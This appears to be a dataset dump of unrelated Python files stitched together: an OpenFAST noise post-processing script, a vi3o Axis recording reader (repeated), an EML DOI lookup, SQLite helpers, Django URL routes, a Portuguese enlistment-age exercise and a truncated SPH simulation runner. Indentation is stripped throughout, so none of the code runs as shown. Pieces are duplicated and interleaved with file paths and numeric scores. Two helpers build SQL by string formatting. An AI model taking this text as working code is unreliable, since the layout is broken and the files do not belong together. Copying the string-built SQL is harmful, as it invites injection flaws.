fst_dir = '/Users/pbortolo/work/2_openfast/noise/verifyAA/OpenFAST_IEA_LB_RWT/'#r"C:\\openfast-noise-3\noite-test\_outputs-OF2"
spl_dir = '/Users/pbortolo/work/2_openfast/noise/verifyAA/OpenFAST_IEA_LB_RWT/'
# desired location for processed results
output_dir = "/Users/pbortolo/work/2_openfast/noise/verifyAA/OpenFAST_IEA_LB_RWT/"
# appended name for AAOutputFile2: (i.e. yaw10deg_AAOutputFile2.out => outputname = "yaw10deg_". Leave outputname = "" if no modification
# outputname = ""
AAname = 'AAOutputFile2.out'
OF2name = 'RotorSE_FAST_IEA_landBased_RWT.outb'
# number of revolutions (n) to calculate OASPL
n = 1
# save plot and/or data?
save_fig = False
save_data = False
#########################################################################################################################################
# produces full path
AAfilename = spl_dir + AAname
OF2filename = fst_dir + OF2name
outputfilename = output_dir + "AAOutputFile2"
# read in file data
AA_2 = weio.FASTOutFile(AAfilename).toDataFrame()
OF2 = weio.FASTOutFile(OF2filename).toDataFrame()
# determine number of observers
num_obs = (AA_2.shape[1]-1)/34
# calculate sample time for n revolutions
rpm = OF2[["RotSpeed_[rpm]"]].mean()[0]
time_revs = n*60/rpm
tot_time = AA_2["Time_[s]"].max()
if time_revs < tot_time:
sample_time = tot_time - time_revs
else:
print("Error: Time for number of revolutions exceeds simulation time. Reduce n.")
raise SystemExit('')
# slice AA dataframe for t > sample_time
AA_2 = AA_2[AA_2["Time_[s]"] > sample_time]
AA_2=AA_2.drop("Time_[s]",axis=1)
# convert observer Sound Pressure Level (SPL) to Sound Pressure (P)
AA_2 = 10**(AA_2/10)
# average P for each observer
AA_2 = AA_2.mean()
# convert back from P to SPL
if any(AA_2[i] == 0 for i in range(0,AA_2.size)):
print('Error: Log of zero encountered.')
raise SystemExit('')
else:
AA_2 = 10*np.log10(AA_2)
# convert to dataframe with appropriate columns
cols = ['Observer','Frequency (Hz)','SPL (dB)']
aa_2 = pd.DataFrame(columns=cols)
for i in AA_2.index:
nums = re.findall(r"[-+]?\d*\.\d+|\d+",i)
aa_2.loc[len(aa_2)] = [nums[0],nums[1],AA_2[i]]
AA_2 = aa_2
AA_2["Frequency (Hz)"]=AA_2["Frequency (Hz)"].apply(pd.to_numeric)
AA_2["SPL (dB)"]=AA_2["SPL (dB)"].apply(pd.to_numeric)
if num_obs < 7:
#plot stuff
plt.xscale('log')
ax=sb.lineplot(x=AA_2["Frequency (Hz)"],y=AA_2["SPL (dB)"],style=AA_2["Observer"],legend = "full")
ax.legend(loc='center right',bbox_to_anchor=(1.35,0.5))
plt.subplots_adjust(right=.75)
ax.set_ylim(0,)
if save_fig == True:
plt.savefig(r'{}-contour.png'.format(outputfilename))
plt.show()
else:
print("Too many observers to generate plot. Maximum number of observers is 6.")
# export to csv
if save_data == True:
AA_2.to_csv(r'{}-data.csv'.format(outputfilename)) | 0.273477 | 0.138782 |
from __future__ import unicode_literals, print_function
import collections
import datetime
import sys
import xml.etree.ElementTree
import vi3o
from vi3o import mkv
from vi3o import cat
from vi3o import compat
if sys.version_info >= (3, 5, 0):
from typing import Any, List, Union, Dict
# Representation of data in XML block of a recording
RecordingBlock = collections.namedtuple(
"RecordingBlock", ["start", "stop", "filename", "status"]
)
# Representation of data in XML of recording
RecordingMetadata = collections.namedtuple(
"RecordingMetadata",
[
"recording_id",
"channel",
"start",
"stop",
"blocks",
"width",
"height",
"framerate",
],
)
def _parse_axis_xml_timestamp(string):
# type: (str) -> float
return compat.utc_datetime_to_epoch(
datetime.datetime.strptime(string, "%Y-%m-%dT%H:%M:%S.%fZ")
)
def _read_xml(path):
# type: (pathlib.Path) -> Any
tree = xml.etree.ElementTree.parse(str(path))
return tree.getroot()
def _read_recording_block(path):
# type: (pathlib.Path) -> RecordingBlock
root = _read_xml(path)
filename = path.parent / (path.stem + ".mkv")
if not filename.exists():
filename = path.parent / (path.stem + ".mjpg")
if not filename.exists():
raise compat.FileNotFoundError(
"Could not find a video file for {}".format(path)
)
status = root.findall(".//Status")[0].text
if status != "Complete":
raise RuntimeError(
'{}: Expected status "Complete", was: "{}"'.format(path, status)
)
return RecordingBlock(
start=_parse_axis_xml_timestamp(root.findall(".//StartTime")[0].text),
stop=_parse_axis_xml_timestamp(root.findall(".//StopTime")[0].text),
status=status,
filename=filename,
)
def read_recording_xml(recording_xml):
# type: (Union[str,pathlib.Path]) -> RecordingMetadata
"""
Read metadata from an Axis recording from e.g. a SD card or a NAS
.. code-block:: python
import vi3o
metadata = vi3o.read_recording_xml("/path/to/recording.xml")
print("Width: {}, Height: {}".format(metadata.width, metadata.height))
print("Number of blocks: {}".format(len(metadata.blocks)))
"""
if isinstance(recording_xml, str):
recording_xml = compat.pathlib.Path(recording_xml)
if not recording_xml.is_file():
raise compat.FileNotFoundError("recording.xml must be a file")
root = _read_xml(recording_xml)
try:
blocks = []
for pth in recording_xml.parent.glob("*/*.xml"):
blocks.append(_read_recording_block(pth))
except (ValueError, xml.etree.ElementTree.ParseError) as error:
raise RuntimeError("Failure parsing block {}: {}".format(pth, error))
blocks.sort()
return RecordingMetadata(
recording_id=root.attrib["RecordingToken"],
channel=int(root.findall(".//SourceToken")[0].text),
start=_parse_axis_xml_timestamp(root.findall(".//StartTime")[0].text),
stop=_parse_axis_xml_timestamp(root.findall(".//StopTime")[0].text),
width=int(root.findall(".//Width")[0].text),
height=int(root.findall(".//Height")[0].text),
framerate=float(root.findall(".//Framerate")[0].text),
blocks=tuple(blocks),
)
class Recording(object):
"""
Load video from a folder containing a Axis recording from e.g.
a SD card or a NAS
Axis stores videos in a blocked format together with XML metadata.
The XML metadata contains time information which may be used to
deduce the wall time of the recordings should the video streams
themselves lack the proper metadata.
Either use the convenience method `vi3o.Video`
.. code-block:: python
import vi3o
recording = vi3o.Video("/path/to/recording.xml")
Or load metadata manually using `read_recording_xml`
.. code-block:: python
import vi3o
metadata = vi3o.read_recording_xml("/path/to/recording.xml")
recording = Recording(metadata)
"""
def __init__(self, metadata, **kwargs):
if not metadata.blocks:
raise RuntimeError("No recordings discovered!")
# Preprocessing of all video blocks in folder - this may take some time...
videos = [] # type: List[_VideoBlock]
timestamp_offset = 0
for blk in metadata.blocks:
# Note: Video raises OSError if file was not found
filename = str(blk.filename)
videos.append(
cat._VideoBlock(
video=filename,
timestamp_offset=timestamp_offset,
systime_offset=blk.start,
)
)
# The first frame in the next block will start at timestamp offset
timestamp_offset += blk.stop - blk.start
self._video = cat.VideoCat(videos, **kwargs)
def __len__(self):
return len(self._video)
@property
def systimes(self):
# type: () -> List[float]
""" Return the systimes of all frames in recording """
return self._video.systimes
def __iter__(self):
return iter(self._video)
def __getitem__(self, item):
return self._video[item] | vi3o/recording.py | from __future__ import unicode_literals, print_function
import collections
import datetime
import sys
import xml.etree.ElementTree
import vi3o
from vi3o import mkv
from vi3o import cat
from vi3o import compat
if sys.version_info >= (3, 5, 0):
from typing import Any, List, Union, Dict
# Representation of data in XML block of a recording
RecordingBlock = collections.namedtuple(
"RecordingBlock", ["start", "stop", "filename", "status"]
)
# Representation of data in XML of recording
RecordingMetadata = collections.namedtuple(
"RecordingMetadata",
[
"recording_id",
"channel",
"start",
"stop",
"blocks",
"width",
"height",
"framerate",
],
)
def _parse_axis_xml_timestamp(string):
# type: (str) -> float
return compat.utc_datetime_to_epoch(
datetime.datetime.strptime(string, "%Y-%m-%dT%H:%M:%S.%fZ")
)
def _read_xml(path):
# type: (pathlib.Path) -> Any
tree = xml.etree.ElementTree.parse(str(path))
return tree.getroot()
def _read_recording_block(path):
# type: (pathlib.Path) -> RecordingBlock
root = _read_xml(path)
filename = path.parent / (path.stem + ".mkv")
if not filename.exists():
filename = path.parent / (path.stem + ".mjpg")
if not filename.exists():
raise compat.FileNotFoundError(
"Could not find a video file for {}".format(path)
)
status = root.findall(".//Status")[0].text
if status != "Complete":
raise RuntimeError(
'{}: Expected status "Complete", was: "{}"'.format(path, status)
)
return RecordingBlock(
start=_parse_axis_xml_timestamp(root.findall(".//StartTime")[0].text),
stop=_parse_axis_xml_timestamp(root.findall(".//StopTime")[0].text),
status=status,
filename=filename,
)
def read_recording_xml(recording_xml):
# type: (Union[str,pathlib.Path]) -> RecordingMetadata
"""
Read metadata from an Axis recording from e.g. a SD card or a NAS
.. code-block:: python
import vi3o
metadata = vi3o.read_recording_xml("/path/to/recording.xml")
print("Width: {}, Height: {}".format(metadata.width, metadata.height))
print("Number of blocks: {}".format(len(metadata.blocks)))
"""
if isinstance(recording_xml, str):
recording_xml = compat.pathlib.Path(recording_xml)
if not recording_xml.is_file():
raise compat.FileNotFoundError("recording.xml must be a file")
root = _read_xml(recording_xml)
try:
blocks = []
for pth in recording_xml.parent.glob("*/*.xml"):
blocks.append(_read_recording_block(pth))
except (ValueError, xml.etree.ElementTree.ParseError) as error:
raise RuntimeError("Failure parsing block {}: {}".format(pth, error))
blocks.sort()
return RecordingMetadata(
recording_id=root.attrib["RecordingToken"],
channel=int(root.findall(".//SourceToken")[0].text),
start=_parse_axis_xml_timestamp(root.findall(".//StartTime")[0].text),
stop=_parse_axis_xml_timestamp(root.findall(".//StopTime")[0].text),
width=int(root.findall(".//Width")[0].text),
height=int(root.findall(".//Height")[0].text),
framerate=float(root.findall(".//Framerate")[0].text),
blocks=tuple(blocks),
)
class Recording(object):
"""
Load video from a folder containing a Axis recording from e.g.
a SD card or a NAS
Axis stores videos in a blocked format together with XML metadata.
The XML metadata contains time information which may be used to
deduce the wall time of the recordings should the video streams
themselves lack the proper metadata.
Either use the convenience method `vi3o.Video`
.. code-block:: python
import vi3o
recording = vi3o.Video("/path/to/recording.xml")
Or load metadata manually using `read_recording_xml`
.. code-block:: python
import vi3o
metadata = vi3o.read_recording_xml("/path/to/recording.xml")
recording = Recording(metadata)
"""
def __init__(self, metadata, **kwargs):
if not metadata.blocks:
raise RuntimeError("No recordings discovered!")
# Preprocessing of all video blocks in folder - this may take some time...
videos = [] # type: List[_VideoBlock]
timestamp_offset = 0
for blk in metadata.blocks:
# Note: Video raises OSError if file was not found
filename = str(blk.filename)
videos.append(
cat._VideoBlock(
video=filename,
timestamp_offset=timestamp_offset,
systime_offset=blk.start,
)
)
# The first frame in the next block will start at timestamp offset
timestamp_offset += blk.stop - blk.start
self._video = cat.VideoCat(videos, **kwargs)
def __len__(self):
return len(self._video)
@property
def systimes(self):
# type: () -> List[float]
""" Return the systimes of all frames in recording """
return self._video.systimes
def __iter__(self):
return iter(self._video)
def __getitem__(self, item):
return self._video[item] | 0.52342 | 0.155816 |
from lxml import etree
import requests
from counter.config import Config
from counter import pasta_db
def clean(text):
return " ".join(text.split())
def get_entity_name(dataset, rid: str):
name = None
urls = dataset.findall("./physical/distribution/online/url")
for url in urls:
if rid == url.text.strip():
name = dataset.find("./entityName").text.strip()
break
return name
class Package:
def __init__(self, eml: str):
self._eml = etree.fromstring(eml.encode("utf-8"))
self._pid = self._get_package_id()
self._title = self._get_title()
self._doi = self._get_doi()
@property
def doi(self):
return self._doi
@property
def title(self):
return self._title
def _get_doi(self) -> str:
doi = None
alt_ids = self._eml.findall("./dataset/alternateIdentifier")
for alt_id in alt_ids:
if alt_id.get("system") == "https://doi.org":
doi = clean(alt_id.xpath("string()"))
if doi is None:
if Config.USE_DB:
pid = self._get_package_id()
sql = (
"SELECT doi FROM datapackagemanager.resource_registry "
f"WHERE package_id='{pid}' "
"AND resource_type='dataPackage'"
)
_ = pasta_db.query(Config.DB_HOST_PACKAGE, sql)
if len(_) == 1:
doi = _[0][0]
if Config.VERBOSE == 3:
print(f"{sql} - {doi}")
else:
pid = self._get_package_id()
scope, identifier, revision = pid.split(".")
doi_url = (
f"{Config.BASE_PACKAGE_URL}/doi/eml/{scope}/"
f"{identifier}/{revision}"
)
r = requests.get(doi_url, auth=Config.AUTH)
r.raise_for_status()
doi = r.text.strip()
if Config.VERBOSE == 3:
print(f"{doi_url} - {doi}")
return doi
def _get_package_id(self) -> str:
_ = self._eml.get("packageId")
scope, identifier, revision = _.split(".")
pid = f"{scope}.{int(identifier)}.{int(revision)}"
return pid
def _get_title(self) -> str:
title = clean(self._eml.find("./dataset/title").xpath("string()"))
return title
def get_entity_name(self, rid: str) -> str:
name = None
datatables = self._eml.findall("./dataset/dataTable")
for datatable in datatables:
name = get_entity_name(datatable, rid)
if name is not None:
return name
otherentities = self._eml.findall("./dataset/otherEntity")
for otherentity in otherentities:
name = get_entity_name(otherentity, rid)
if name is not None:
return name
spatialrasters = self._eml.findall("./dataset/spatialRaster")
for spatialraster in spatialrasters:
name = get_entity_name(spatialraster, rid)
if name is not None:
return name
spatialvectors = self._eml.findall("./dataset/spatialVector")
for spatialvector in spatialvectors:
name = get_entity_name(spatialvector, rid)
return name | src/counter/package.py | from lxml import etree
import requests
from counter.config import Config
from counter import pasta_db
def clean(text):
return " ".join(text.split())
def get_entity_name(dataset, rid: str):
name = None
urls = dataset.findall("./physical/distribution/online/url")
for url in urls:
if rid == url.text.strip():
name = dataset.find("./entityName").text.strip()
break
return name
class Package:
def __init__(self, eml: str):
self._eml = etree.fromstring(eml.encode("utf-8"))
self._pid = self._get_package_id()
self._title = self._get_title()
self._doi = self._get_doi()
@property
def doi(self):
return self._doi
@property
def title(self):
return self._title
def _get_doi(self) -> str:
doi = None
alt_ids = self._eml.findall("./dataset/alternateIdentifier")
for alt_id in alt_ids:
if alt_id.get("system") == "https://doi.org":
doi = clean(alt_id.xpath("string()"))
if doi is None:
if Config.USE_DB:
pid = self._get_package_id()
sql = (
"SELECT doi FROM datapackagemanager.resource_registry "
f"WHERE package_id='{pid}' "
"AND resource_type='dataPackage'"
)
_ = pasta_db.query(Config.DB_HOST_PACKAGE, sql)
if len(_) == 1:
doi = _[0][0]
if Config.VERBOSE == 3:
print(f"{sql} - {doi}")
else:
pid = self._get_package_id()
scope, identifier, revision = pid.split(".")
doi_url = (
f"{Config.BASE_PACKAGE_URL}/doi/eml/{scope}/"
f"{identifier}/{revision}"
)
r = requests.get(doi_url, auth=Config.AUTH)
r.raise_for_status()
doi = r.text.strip()
if Config.VERBOSE == 3:
print(f"{doi_url} - {doi}")
return doi
def _get_package_id(self) -> str:
_ = self._eml.get("packageId")
scope, identifier, revision = _.split(".")
pid = f"{scope}.{int(identifier)}.{int(revision)}"
return pid
def _get_title(self) -> str:
title = clean(self._eml.find("./dataset/title").xpath("string()"))
return title
def get_entity_name(self, rid: str) -> str:
name = None
datatables = self._eml.findall("./dataset/dataTable")
for datatable in datatables:
name = get_entity_name(datatable, rid)
if name is not None:
return name
otherentities = self._eml.findall("./dataset/otherEntity")
for otherentity in otherentities:
name = get_entity_name(otherentity, rid)
if name is not None:
return name
spatialrasters = self._eml.findall("./dataset/spatialRaster")
for spatialraster in spatialrasters:
name = get_entity_name(spatialraster, rid)
if name is not None:
return name
spatialvectors = self._eml.findall("./dataset/spatialVector")
for spatialvector in spatialvectors:
name = get_entity_name(spatialvector, rid)
return name | 0.532911 | 0.089177 |
import argparse
import sys
import sqlite3
from sqlite3 import Error
class sql_connect:
def __init__(self, db):
# create a database connection
self.conn = self.create_connection(db)
sql_create_metadata_table = """ CREATE TABLE IF NOT EXISTS metadata (
id integer PRIMARY KEY,
limskey integer NOT NULL,
task text NOT NULL,
input text NOT NULL,
output text NOT NULL,
filesize integer,
error text,
passed text
); """
if self.conn is not None:
# create projects table
self.create_table(self.conn, sql_create_metadata_table)
else:
print("Error! cannot create the database connection.")
def create_connection(self,db_file):
""" create a database connection to the SQLite database
specified by db_file
:param db_file: database file
:return: Connection object or None
"""
conn = None
try:
conn = sqlite3.connect(db_file)
return conn
except Error as e:
print(e)
return conn
def create_table(self, conn, create_table_sql):
""" create a table from the create_table_sql statement
:param conn: Connection object
:param create_table_sql: a CREATE TABLE statement
:return:
"""
try:
c = conn.cursor()
c.execute(create_table_sql)
except Error as e:
print(e)
def insert_bulk(self, sql_insert, records):
""" insert data into table using a list of lists (i.e. executemany). This should be an efficient bulk insert.
:param records: a list of list
:return:
"""
try:
c = self.conn.cursor()
c.executemany(sql_insert, records)
self.conn.commit()
except Error as e:
print(e)
def insert_data(self, sql_insert):
""" insert data into a table
:param conn: Connection object
:param sql_insert: a INSERT INTO statement
:return:
"""
try:
c = self.conn.cursor()
c.execute(sql_insert)
#print(sql_insert)
except Error as e:
print(e)
def commit(self):
self.conn.commit()
def select(self, sql_select):
""" select data from a table
:param conn: Connection object
:param sql_select: a SELECT FROM statement
:return: results of the select statement
"""
try:
c = self.conn.cursor()
c.execute(sql_select)
rows = c.fetchall()
for row in rows:
print(row)
except Error as e:
print(e)
def update(self, sql_update):
""" update data from a table
:param sql_update: a UPDATE table SET x=y WHERE z=m
:return:
"""
try:
c = self.conn.cursor()
c.execute(sql_update)
except Error as e:
print(e)
def main():
# parse arguments
sqlite_db=''
parser = argparse.ArgumentParser(description='This file contains functions to create, update, and read tables from an sqlite3 database.')
parser.add_argument("-d","--db",help='name of the sqlite database that will be used', type=str, required=True )
args = parser.parse_args()
sql_create_metadata_table = """ CREATE TABLE IF NOT EXISTS metadata (
id integer PRIMARY KEY,
limskey integer NOT NULL,
task text NOT NULL,
input text NOT NULL,
output text NOT NULL,
filesize text,
error text,
passed text
); """
# create a database connection
conn = sql_connect(args.db)
# insert
#INSERT INTO langs(name) VALUES(?)
k=123
i='/some/path/in'
o='/some/path/out'
t='raw_to_mzml'
sql_insert="INSERT INTO metadata(limskey,task,input,output) VALUES(%s,\"%s\",\"%s\",\"%s\")" % (k,t,i,o)
conn.insert_data(sql_insert)
records = [(1,2,3,'y'),(4,5,6,'y'),(7,8,9,'y')]
sql_bulk='INSERT INTO metadata(limskey,task,input,output) VALUES(?,?,?,?)'
conn.insert_bulk(sql_bulk, records)
sql_update='UPDATE metadata SET filesize = 1234132,error = "some error" WHERE limskey = 123'
conn.update(sql_update)
sql_select="""SELECT * FROM metadata"""
conn.select(sql_select)
conn.commit()
if __name__ == '__main__':
main() | jaws/jaws_wdls/scripts/sqlite_functions.py | import argparse
import sys
import sqlite3
from sqlite3 import Error
class sql_connect:
def __init__(self, db):
# create a database connection
self.conn = self.create_connection(db)
sql_create_metadata_table = """ CREATE TABLE IF NOT EXISTS metadata (
id integer PRIMARY KEY,
limskey integer NOT NULL,
task text NOT NULL,
input text NOT NULL,
output text NOT NULL,
filesize integer,
error text,
passed text
); """
if self.conn is not None:
# create projects table
self.create_table(self.conn, sql_create_metadata_table)
else:
print("Error! cannot create the database connection.")
def create_connection(self,db_file):
""" create a database connection to the SQLite database
specified by db_file
:param db_file: database file
:return: Connection object or None
"""
conn = None
try:
conn = sqlite3.connect(db_file)
return conn
except Error as e:
print(e)
return conn
def create_table(self, conn, create_table_sql):
""" create a table from the create_table_sql statement
:param conn: Connection object
:param create_table_sql: a CREATE TABLE statement
:return:
"""
try:
c = conn.cursor()
c.execute(create_table_sql)
except Error as e:
print(e)
def insert_bulk(self, sql_insert, records):
""" insert data into table using a list of lists (i.e. executemany). This should be an efficient bulk insert.
:param records: a list of list
:return:
"""
try:
c = self.conn.cursor()
c.executemany(sql_insert, records)
self.conn.commit()
except Error as e:
print(e)
def insert_data(self, sql_insert):
""" insert data into a table
:param conn: Connection object
:param sql_insert: a INSERT INTO statement
:return:
"""
try:
c = self.conn.cursor()
c.execute(sql_insert)
#print(sql_insert)
except Error as e:
print(e)
def commit(self):
self.conn.commit()
def select(self, sql_select):
""" select data from a table
:param conn: Connection object
:param sql_select: a SELECT FROM statement
:return: results of the select statement
"""
try:
c = self.conn.cursor()
c.execute(sql_select)
rows = c.fetchall()
for row in rows:
print(row)
except Error as e:
print(e)
def update(self, sql_update):
""" update data from a table
:param sql_update: a UPDATE table SET x=y WHERE z=m
:return:
"""
try:
c = self.conn.cursor()
c.execute(sql_update)
except Error as e:
print(e)
def main():
# parse arguments
sqlite_db=''
parser = argparse.ArgumentParser(description='This file contains functions to create, update, and read tables from an sqlite3 database.')
parser.add_argument("-d","--db",help='name of the sqlite database that will be used', type=str, required=True )
args = parser.parse_args()
sql_create_metadata_table = """ CREATE TABLE IF NOT EXISTS metadata (
id integer PRIMARY KEY,
limskey integer NOT NULL,
task text NOT NULL,
input text NOT NULL,
output text NOT NULL,
filesize text,
error text,
passed text
); """
# create a database connection
conn = sql_connect(args.db)
# insert
#INSERT INTO langs(name) VALUES(?)
k=123
i='/some/path/in'
o='/some/path/out'
t='raw_to_mzml'
sql_insert="INSERT INTO metadata(limskey,task,input,output) VALUES(%s,\"%s\",\"%s\",\"%s\")" % (k,t,i,o)
conn.insert_data(sql_insert)
records = [(1,2,3,'y'),(4,5,6,'y'),(7,8,9,'y')]
sql_bulk='INSERT INTO metadata(limskey,task,input,output) VALUES(?,?,?,?)'
conn.insert_bulk(sql_bulk, records)
sql_update='UPDATE metadata SET filesize = 1234132,error = "some error" WHERE limskey = 123'
conn.update(sql_update)
sql_select="""SELECT * FROM metadata"""
conn.select(sql_select)
conn.commit()
if __name__ == '__main__':
main() | 0.172834 | 0.134122 |
from django.urls import path
from . import views
app_name = "management"
urlpatterns = [
path('management/', views.login, name='login'),
path('management/login', views.login, name='login'),
path('management/overview', views.overview, name='overview'),
path('management/inventory', views.inventory, name='inventory'),
path('management/add_inventory', views.add_inventory, name='add_inventory'),
path('management/delete_inventory/<int:id>', views.delete_inventory, name='delete_inventory'),
path('management/view_inventory/<int:id>', views.view_inventory, name='view_inventory'),
path('management/edit_inventory/<int:id>', views.edit_inventory, name='edit_inventory'),
path('management/supply', views.supply, name='supply'),
path('management/add_supply', views.add_supply, name='add_supply'),
path('management/delete_supply/<int:id>', views.delete_supply, name='delete_supply'),
path('management/view_supply/<int:id>', views.view_supply, name='view_supply'),
path('management/edit_supply/<int:id>', views.edit_supply, name='edit_supply'),
path('management/transactions', views.transactions, name='transactions'),
path('management/account', views.account, name='account'),
path('management/add_account', views.add_account, name='add_account'),
path('management/delete_account/<int:id>', views.delete_account, name='delete_account'),
path('management/edit_account/<int:id>', views.edit_account, name='edit_account'),
path('management/view_account/<int:id>', views.view_account, name='view_account'),
path('management/order_list', views.order_list, name='order_list'),
path('management/view_order/<int:id>', views.view_order, name='view_order'),
path('management/cancel_order/<int:id>', views.cancel_order, name='cancel_order'),
path('management/approve_order/<int:id>', views.approve_order, name='approve_order'),
path('management/complete_order/<int:id>', views.complete_order, name='complete_order'),
path('management/settings', views.settings, name='settings'),
] | coffeenijuan/management/urls.py | from django.urls import path
from . import views
app_name = "management"
urlpatterns = [
path('management/', views.login, name='login'),
path('management/login', views.login, name='login'),
path('management/overview', views.overview, name='overview'),
path('management/inventory', views.inventory, name='inventory'),
path('management/add_inventory', views.add_inventory, name='add_inventory'),
path('management/delete_inventory/<int:id>', views.delete_inventory, name='delete_inventory'),
path('management/view_inventory/<int:id>', views.view_inventory, name='view_inventory'),
path('management/edit_inventory/<int:id>', views.edit_inventory, name='edit_inventory'),
path('management/supply', views.supply, name='supply'),
path('management/add_supply', views.add_supply, name='add_supply'),
path('management/delete_supply/<int:id>', views.delete_supply, name='delete_supply'),
path('management/view_supply/<int:id>', views.view_supply, name='view_supply'),
path('management/edit_supply/<int:id>', views.edit_supply, name='edit_supply'),
path('management/transactions', views.transactions, name='transactions'),
path('management/account', views.account, name='account'),
path('management/add_account', views.add_account, name='add_account'),
path('management/delete_account/<int:id>', views.delete_account, name='delete_account'),
path('management/edit_account/<int:id>', views.edit_account, name='edit_account'),
path('management/view_account/<int:id>', views.view_account, name='view_account'),
path('management/order_list', views.order_list, name='order_list'),
path('management/view_order/<int:id>', views.view_order, name='view_order'),
path('management/cancel_order/<int:id>', views.cancel_order, name='cancel_order'),
path('management/approve_order/<int:id>', views.approve_order, name='approve_order'),
path('management/complete_order/<int:id>', views.complete_order, name='complete_order'),
path('management/settings', views.settings, name='settings'),
] | 0.318591 | 0.055566 |
print('digite 1 para masculino e 0 para feminino.')
sexo = int(input('qual e o seu sexo? (numero)'))
if sexo == 1:
from datetime import date
nacimento = int(input('em que ano vc nasceu ?'))
if nacimento + 18 < date.today().year:
cnascimento = date.today().year - nacimento
calistamento = cnascimento - 18
calculoano = date.today().year - calistamento
print('voce nasceu em {} e tem {} anos em {}'.format(nacimento, cnascimento, date.today().year))
print('vc ja deveria ter se alistado em {} anos'.format(calistamento))
print('seu alistamento foi em {}'.format(calculoano))
elif date.today().year - nacimento == 18:
cnacimento = date.today().year - nacimento
print('VOCÊ TEM QUE SE ALISTAR IMEDIATAMENTE')
print('vc nasceu em {} e tem {} anos em {}'.format(nacimento, cnacimento, date.today().year))
elif nacimento + 18 > date.today().year:
cnascimento = date.today().year - nacimento
calistamento = 18 - cnascimento
ano = date.today().year + calistamento
print('vc nasceu em {} e tem {} anos em {}'.format(nacimento, cnascimento, date.today().year))
print('falta {} anos, para vc se alistar'.format(calistamento))
print('seu alistamento vai ser em {}'.format(ano))
elif sexo == 0:
print('vc n precisa se alistar!!\nmas se quiser e so digitar 1 pra sim e 0 pra não')
quero = int(input('voce quer saber quando vai querer se alisatar ?'))
if quero == 1:
from datetime import date
nacimento = int(input('em que ano vc nasceu ?'))
if nacimento + 18 < date.today().year:
cnascimento = date.today().year - nacimento
calistamento = cnascimento - 18
calculoano = date.today().year - calistamento
print('voce nasceu em {} e tem {} anos em {}'.format(nacimento, cnascimento, date.today().year))
print('vc ja deveria ter se alistado em {} anos'.format(calistamento))
print('seu alistamento foi em {}'.format(calculoano))
elif date.today().year - nacimento == 18:
cnacimento = date.today().year - nacimento
print('VOCÊ TEM QUE SE ALISTAR IMEDIATAMENTE')
print('vc nasceu em {} e tem {} anos em {}'.format(nacimento, cnacimento, date.today().year))
elif nacimento + 18 > date.today().year:
cnascimento = date.today().year - nacimento
calistamento = 18 - cnascimento
ano = date.today().year + calistamento
print('vc nasceu em {} e tem {} anos em {}'.format(nacimento, cnascimento, date.today().year))
print('falta {} anos, para vc se alistar'.format(calistamento))
print('seu alistamento vai ser em {}'.format(ano))
elif quero == 0:
print('tenha um bom dia!')
else:
print('por favor reinicie o programa e digite um numero entre 0 e 1')
else:
print('por favor reinicie o programa e digite um numero entre 0 e 1') | download-deveres/para-execicios-curso-em-video/exe039b.py | print('digite 1 para masculino e 0 para feminino.')
sexo = int(input('qual e o seu sexo? (numero)'))
if sexo == 1:
from datetime import date
nacimento = int(input('em que ano vc nasceu ?'))
if nacimento + 18 < date.today().year:
cnascimento = date.today().year - nacimento
calistamento = cnascimento - 18
calculoano = date.today().year - calistamento
print('voce nasceu em {} e tem {} anos em {}'.format(nacimento, cnascimento, date.today().year))
print('vc ja deveria ter se alistado em {} anos'.format(calistamento))
print('seu alistamento foi em {}'.format(calculoano))
elif date.today().year - nacimento == 18:
cnacimento = date.today().year - nacimento
print('VOCÊ TEM QUE SE ALISTAR IMEDIATAMENTE')
print('vc nasceu em {} e tem {} anos em {}'.format(nacimento, cnacimento, date.today().year))
elif nacimento + 18 > date.today().year:
cnascimento = date.today().year - nacimento
calistamento = 18 - cnascimento
ano = date.today().year + calistamento
print('vc nasceu em {} e tem {} anos em {}'.format(nacimento, cnascimento, date.today().year))
print('falta {} anos, para vc se alistar'.format(calistamento))
print('seu alistamento vai ser em {}'.format(ano))
elif sexo == 0:
print('vc n precisa se alistar!!\nmas se quiser e so digitar 1 pra sim e 0 pra não')
quero = int(input('voce quer saber quando vai querer se alisatar ?'))
if quero == 1:
from datetime import date
nacimento = int(input('em que ano vc nasceu ?'))
if nacimento + 18 < date.today().year:
cnascimento = date.today().year - nacimento
calistamento = cnascimento - 18
calculoano = date.today().year - calistamento
print('voce nasceu em {} e tem {} anos em {}'.format(nacimento, cnascimento, date.today().year))
print('vc ja deveria ter se alistado em {} anos'.format(calistamento))
print('seu alistamento foi em {}'.format(calculoano))
elif date.today().year - nacimento == 18:
cnacimento = date.today().year - nacimento
print('VOCÊ TEM QUE SE ALISTAR IMEDIATAMENTE')
print('vc nasceu em {} e tem {} anos em {}'.format(nacimento, cnacimento, date.today().year))
elif nacimento + 18 > date.today().year:
cnascimento = date.today().year - nacimento
calistamento = 18 - cnascimento
ano = date.today().year + calistamento
print('vc nasceu em {} e tem {} anos em {}'.format(nacimento, cnascimento, date.today().year))
print('falta {} anos, para vc se alistar'.format(calistamento))
print('seu alistamento vai ser em {}'.format(ano))
elif quero == 0:
print('tenha um bom dia!')
else:
print('por favor reinicie o programa e digite um numero entre 0 e 1')
else:
print('por favor reinicie o programa e digite um numero entre 0 e 1') | 0.18717 | 0.244622 |
import pysplishsplash as sph
from pysplishsplash.Extras import Scenes
import os
import sys
import json
import xml.etree.ElementTree as ET
if __name__ == "__main__":
assert(len(sys.argv) == 5), "sim_run.py should have 4 arguments."
upload_config_file_path = sys.argv[1]
upload_file_dir = sys.argv[2]
upload_date_dir = sys.argv[3]
sim_data_dir = sys.argv[4]
# 为上传文件拼接上传目录
f = open(upload_config_file_path, 'r')
fileObj = json.loads(f.read())
f.close()
for obj in fileObj['RigidBodies']:
obj['geometryFile'] = upload_file_dir+'/'+obj['geometryFile']
fileObj_str = json.dumps(fileObj)
f = open(upload_config_file_path, 'w')
f.write(fileObj_str)
f.close()
# Set up the simulator
base = sph.Exec.SimulatorBase()
base.init(useGui=False, sceneFile=upload_config_file_path,outputDir=sim_data_dir)
#测试用
#base.init(useGui=False, sceneFile=upload_config_file_path)
# Create an imgui simulator
#gui = sph.GUI.Simulator_GUI_imgui(base)
# base.setGui(gui)
base.initSimulation()
base.runSimulation()
sim = sph.Simulation.getCurrent()
numFluidParticles = 0
for i in range(sim.numberOfFluidModels()):
numFluidParticles += sim.getFluidModel(i).numActiveParticles()
numFrames = base.getFrameCounter()
# 写sim_config_file
root = ET.Element('Scene')
root.set('name', '场景')
simulationRun = ET.SubElement(root, 'SimulationRun')
